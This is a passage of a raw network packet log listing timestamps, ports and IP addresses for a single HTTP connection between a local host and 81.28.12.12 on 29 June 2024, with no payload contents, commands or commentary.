Jun 29, 2024 08:05:04.628551960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.628583908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.628607035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.628637075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.628668070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.628688097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.630142927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.630194902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.630228996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.630251884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.630269051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.630319118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.631925106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.631953955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.632004976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.632033110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.632052898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.632074118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.632122040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.633622885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.633692980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.633725882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.633747101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.633765936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.633815050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.635335922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.635397911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.635411978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.635442019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.635463953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.635499001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.636991024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.637020111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.637043953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.637084961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.637111902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.637156963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.637206078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.638695002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.638751030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.638777971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.638809919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.638856888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.640357971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.640412092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.640433073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.640458107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.640501976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.640539885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.642126083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.642173052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.642199039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.642230034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.642247915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.642277956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.643786907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.643821001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.643841028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.643862963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.643904924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.644035101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.645462036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.645515919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.645546913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.645565987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.645589113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.647130966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.647180080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.647205114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.647254944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.647277117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.647296906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.648897886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.648942947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.648966074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.648998976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.649046898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.649075031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.649096012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.649113894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.650671959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.650705099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.650737047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.650779963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.650808096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.652384043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.652417898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.652451038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.652471066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.652515888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.654035091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.654066086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.654086113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.654110909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.654153109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.654201031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.655637980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.655690908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.655721903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.655771971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.655797958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.657346010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.657397985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.657444000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.657466888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.657491922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.659159899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.659198046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.659219027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.659239054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.659267902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.659344912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.668174028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.668206930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.668241024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.668291092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.668318987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.670875072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.670907021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.670942068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.670978069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.671003103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.671017885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.671148062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.671200037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.671220064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.671247959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.671271086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.671317101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.671947002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.671978951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.672007084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.672028065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.672051907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.672100067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.675796986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.675848961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.675879955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.675940037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.675959110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.675959110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.676007032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.676054001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.676089048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.676120996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.676151037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.676182032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.676207066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.677392960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.687043905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687076092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687108994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687180042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.687201023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.687227964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687259912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687297106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.687323093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.687352896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.690855980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.690907955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.690942049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.690990925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.691024065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.691037893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.691067934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.691102028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.691122055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.691148043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.691174030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.691220999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.694458961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694510937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694545984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694586992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694624901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.694624901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.694644928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.694675922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694709063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694742918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.694761992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.694787979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.699438095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699491024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699523926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699565887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.699592113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.699613094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699645042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699677944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699697018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.699723959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.699748993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.699798107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.704871893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.704905987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.704938889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.704972982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.705001116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.705014944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.705046892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.705079079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.705097914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.705121040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.705149889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.705180883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.705199957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.705231905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709650040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.709703922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.709726095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709779978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709806919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.709841013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.709861040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709887981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709913015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.709961891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.709983110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.710016012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.710038900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.710061073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713035107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713068962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713089943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713110924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713156939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713187933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713207960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713231087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713258982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713291883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713311911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713335037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.713363886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.713476896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.718354940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718411922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.718475103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718504906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718590021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718641043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718674898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718694925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.718734026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718748093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.718782902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.718799114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.718847036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723606110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723663092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723680973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723721981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723752022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723802090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723820925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723854065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723874092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723902941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723925114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723958969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.723978043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.723999023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728501081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728549957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728588104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728606939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728638887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728686094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728784084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728816986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728837967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728854895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728884935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728918076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.728943110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.728970051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733335972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733398914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733427048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733485937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733513117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733567953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733594894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733628035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733648062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733670950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733697891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733731985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733752012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733779907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.733802080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.733850002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.738759041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738780975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738797903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738811970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738827944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738828897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.738853931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738858938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.738871098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.738879919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.738899946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.738922119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.741993904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742013931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742037058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742050886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742052078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.742074966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742082119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.742089033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742105961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.742110014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.742152929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.746968031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.746982098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747047901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.747072935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747096062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747111082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747121096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.747143030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.747173071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.747195959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747210979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747225046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.747256994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.747279882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.756994009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757042885 CEST	80	49731	81.28.12.12	192.168.2.4
